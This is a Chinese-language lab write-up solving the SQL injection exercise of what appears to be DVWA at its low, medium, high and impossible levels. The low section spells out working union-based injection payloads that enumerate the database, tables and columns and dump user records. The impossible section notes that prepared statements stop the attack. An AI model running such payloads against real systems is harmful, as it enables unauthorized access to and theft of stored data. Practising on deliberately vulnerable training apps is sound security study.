low
常规操作先试试,比如and 1 = 2之类的,或者单引号、双引号等等,用and试了之后发现没出现什么问题,盲猜参数id是被引号括起来了,试了试确实如此,如果还是不行的话就可以试试双引号。还有一点要说的是这里的问题不光是联合查询注入,也是报错注入。这里就用最简单的联合查询注入做吧。
输入1’ and 1=2 -- - 正常,那么接着就可以用order by查询一下字段数,到order by 3时发现出现错误,而order by 2没有错误,所以当前表有两个字段。那就开始吧!
输入 1' and 1 = 2 union select 1,database()爆库名
输入 1' and 1 = 2 union select 1,group_concat(table_name) from Information_schema.tables where table_schema = database() -- - 爆表名
输入 1' and 1 = 2 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users' -- - 爆字段名
输入1' and 1 = 2 union select user_id,first_name from users limit 0,1 -- - 爆数据
至此完成!
medium
这里用了下拉列表模式,且为post型传参,以防止注入,可以用hackbar试一下,或者用burpsuit抓包做。我就用hackbar吧
尝试修改id=2 发现正常跳转了,然后再进行尝试发现也没有引号,所以下面就和low一样直接爆数据就行了

high

这直接爆出来了,跟low一样,就是多了个弹窗而已,也不知道有什么用。。。可能是为了防止用sqlmap吧,但是因大失小,没能防止手动注入,连抓包或者hackbar都用不到
impossible
PDO预处理,无解。